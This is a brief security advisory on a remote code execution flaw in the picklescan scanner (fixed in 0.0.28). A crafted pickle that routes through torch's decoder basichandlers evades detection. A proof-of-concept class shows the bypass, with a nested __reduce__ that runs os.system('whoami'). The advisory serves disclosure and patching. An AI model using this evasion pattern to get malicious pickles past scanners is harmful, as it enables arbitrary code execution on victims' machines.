New CVE NOT AVAILABLE CWE-94 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade picklescan to version 0.0.28 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using torch.utils.data.datapipes.utils.decoder.basichandlers function. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses detection and is subsequently loaded.
PoC
import torch.utils.data.datapipes.utils.decoder as decoder
class EvilTorchUtilsDataDatapipesDecoder:
def __reduce__(self):
extension = 'pickle'
class RCE:
def __reduce__(self):
return os.system, ('whoami',)
data = pickle.dumps(RCE())
return decoder.basichandlers, (extension, data)
